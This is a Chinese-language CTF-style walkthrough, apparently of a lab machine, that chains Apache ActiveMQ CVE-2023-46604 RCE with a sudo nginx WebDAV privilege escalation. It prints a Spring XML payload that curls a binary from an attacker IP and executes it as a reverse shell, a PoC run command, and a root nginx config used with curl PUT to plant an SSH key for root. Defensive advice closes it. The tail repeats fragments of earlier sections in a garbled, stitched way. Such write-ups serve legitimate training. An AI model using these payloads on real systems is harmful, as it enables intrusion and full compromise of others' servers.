Apache ActiveMQ RCE 与 Nginx ngx_http_dav_module 权限提升攻击分析<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标扫描<\/h3>

目标IP: 10.10.11.243<\/code><\/p>

开放端口和服务:<\/p>


22\/tcp: OpenSSH 8.9p1 Ubuntu<\/li>
80\/tcp: nginx 1.18.0 (Ubuntu) - 需要基本认证(ActiveMQRealm)<\/li>
1883\/tcp: MQTT服务<\/li>
5672\/tcp: AMQP服务<\/li>
8161\/tcp: Jetty 9.4.39.v20210325 - 需要基本认证(ActiveMQRealm)<\/li>
38507\/tcp: tcpwrapped<\/li>
61613\/tcp: Apache ActiveMQ STOMP协议<\/li>
61614\/tcp: Jetty 9.4.39.v20210325<\/li>
61616\/tcp: ApacheMQ OpenWire transport (版本: 5.15.15)<\/li>
<\/ul>
1.2 关键发现<\/h3>
从扫描结果中识别出Apache ActiveMQ服务运行在61616端口，版本为5.15.15，这存在已知的RCE漏洞(CVE-2023-46604)。<\/p>
2. Apache ActiveMQ RCE漏洞利用(CVE-2023-46604)<\/h2>
2.1 漏洞概述<\/h3>
CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞，攻击者可以通过OpenWire协议发送特制的序列化消息，触发服务器加载恶意的XML配置文件，从而导致任意代码执行。<\/p>
2.2 漏洞利用步骤<\/h3>

准备恶意XML文件<\/strong>:<\/li>
<\/ol>
<?xml version="1.0" encoding="UTF-8" ?><\/span>
<\/span><\/span><beans<\/span> xmlns=<\/span>"http:\/\/www.springframework.org\/schema\/beans"<\/span> 
<\/span><\/span>       xmlns:xsi=<\/span>"http:\/\/www.w3.org\/2001\/XMLSchema-instance"<\/span> 
<\/span><\/span>       xsi:schemaLocation=<\/span>"http:\/\/www.springframework.org\/schema\/beans http:\/\/www.springframework.org\/schema\/beans\/spring-beans.xsd"<\/span>><\/span>
<\/span><\/span>  <bean<\/span> id=<\/span>"pb"<\/span> class=<\/span>"java.lang.ProcessBuilder"<\/span> init-method=<\/span>"start"<\/span>><\/span>
<\/span><\/span>    <constructor-arg><\/span>
<\/span><\/span>      <list><\/span>
<\/span><\/span>        <value><\/span>sh<\/value><\/span>
<\/span><\/span>        <value><\/span>-c<\/value><\/span>
<\/span><\/span>        <value><\/span>curl -s -o reverse http:\/\/10.10.16.28\/reverse; chmod +x .\/reverse; .\/reverse<\/value><\/span>
<\/span><\/span>      <\/list><\/span>
<\/span><\/span>    <\/constructor-arg><\/span>
<\/span><\/span>  <\/bean><\/span>
<\/span><\/span><\/beans><\/span>
<\/span><\/span><\/code><\/pre>
使用公开的PoC工具<\/strong>:<\/li>
<\/ol>
wget https:\/\/github.com\/SaumyajeetDas\/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ\/archive\/refs\/heads\/main.zip
<\/span><\/span>go run main.go -i 10.10.11.243 -p 61616<\/span> -u http:\/\/10.10.16.28:9999\/poc-linux.xml
<\/span><\/span><\/code><\/pre>
获取初始访问权限<\/strong>:

成功执行后获取用户权限，找到user flag:

a178c399b0c91839399aa5b98c0c117c<\/code><\/li>
<\/ol>
3. Nginx ngx_http_dav_module权限提升<\/h2>
3.1 漏洞概述<\/h3>
当Nginx配置了ngx_http_dav_module<\/code>模块并启用了PUT方法时，攻击者可以利用此功能上传文件到服务器上的任意位置，可能导致权限提升。<\/p>
3.2 权限提升步骤<\/h3>

创建恶意Nginx配置文件<\/strong>:<\/li>
<\/ol>
cat << EOF > \/tmp\/shell.conf
<\/span><\/span><\/span>user root;
<\/span><\/span><\/span>worker_processes 4;
<\/span><\/span><\/span>pid \/tmp\/nginx.pid;
<\/span><\/span><\/span>events { worker_connections 768; }
<\/span><\/span><\/span>http {
<\/span><\/span><\/span>  server {
<\/span><\/span><\/span>    listen 10031;
<\/span><\/span><\/span>    root \/;
<\/span><\/span><\/span>    autoindex on;
<\/span><\/span><\/span>    dav_methods PUT;
<\/span><\/span><\/span>  }
<\/span><\/span><\/span>}
<\/span><\/span><\/span>EOF<\/span>
<\/span><\/span><\/code><\/pre>
以root权限启动Nginx<\/strong>:<\/li>
<\/ol>
sudo nginx -c \/tmp\/shell.conf
<\/span><\/span><\/code><\/pre>
生成SSH密钥对<\/strong>:<\/li>
<\/ol>
ssh-keygen
<\/span><\/span><\/code><\/pre>
上传公钥到root的authorized_keys<\/strong>:<\/li>
<\/ol>
curl -X PUT http:\/\/10.10.11.243:10031\/root\/.ssh\/authorized_keys -d @\/home\/maptnh\/.ssh\/id_ed25519.pub
<\/span><\/span><\/code><\/pre>
通过SSH以root身份登录<\/strong>:<\/li>
<\/ol>
ssh root@10.10.11.243 -i \/home\/maptnh\/.ssh\/id_ed25519
<\/span><\/span><\/code><\/pre>
获取root flag<\/strong>:

26eecd6da62a87d2098e474929f93140<\/code><\/li>
<\/ol>
4. 防御措施<\/h2>
4.1 针对Apache ActiveMQ RCE<\/h3>

升级到Apache ActiveMQ最新版本<\/li>
限制OpenWire协议的访问权限<\/li>
实施网络隔离，仅允许可信网络访问ActiveMQ服务<\/li>
监控异常的网络流量和进程创建<\/li>
<\/ol>
4.2 针对Nginx权限提升<\/h3>

避免在生产环境中启用ngx_http_dav_module<\/code><\/li>
如果必须使用，限制PUT方法的使用范围<\/li>
确保Nginx不以root身份运行<\/li>
定期审计Nginx配置文件<\/li>
实施文件系统权限控制，限制Nginx进程的写入权限<\/li>
<\/ol>
5. 总结<\/h2>
本攻击链展示了如何利用Apache ActiveMQ的RCE漏洞获取初始访问权限，然后通过滥用Nginx的ngx_http_dav_module<\/code>模块实现权限提升。这种组合攻击强调了纵深防御的重要性，即使初始漏洞利用只能获取低权限访问，系统其他部分的配置不当仍可能导致完全的系统沦陷。<\/p>

Apache ActiveMQ RCE 与 Nginx ngx_http_dav_module 权限提升攻击分析<\/h1>

1. 信息收集阶段<\/h2>

1.2 关键发现<\/h3> 从扫描结果中识别出Apache ActiveMQ服务运行在61616端口，版本为5.15.15，这存在已知的RCE漏洞(CVE-2023-46604)。<\/p>

2. Apache ActiveMQ RCE漏洞利用(CVE-2023-46604)<\/h2>

2.1 漏洞概述<\/h3> CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞，攻击者可以通过OpenWire协议发送特制的序列化消息，触发服务器加载恶意的XML配置文件，从而导致任意代码执行。<\/p>

3. Nginx ngx_http_dav_module权限提升<\/h2>

3.1 漏洞概述<\/h3> 当Nginx配置了ngx_http_dav_module<\/code>模块并启用了PUT方法时，攻击者可以利用此功能上传文件到服务器上的任意位置，可能导致权限提升。<\/p>

4. 防御措施<\/h2>

1.2 关键发现<\/h3>
从扫描结果中识别出Apache ActiveMQ服务运行在61616端口，版本为5.15.15，这存在已知的RCE漏洞(CVE-2023-46604)。<\/p>

2.1 漏洞概述<\/h3>
CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞，攻击者可以通过OpenWire协议发送特制的序列化消息，触发服务器加载恶意的XML配置文件，从而导致任意代码执行。<\/p>

3.1 漏洞概述<\/h3>
当Nginx配置了`ngx_http_dav_module<\/code>模块并启用了PUT方法时，攻击者可以利用此功能上传文件到服务器上的任意位置，可能导致权限提升。<\/p>`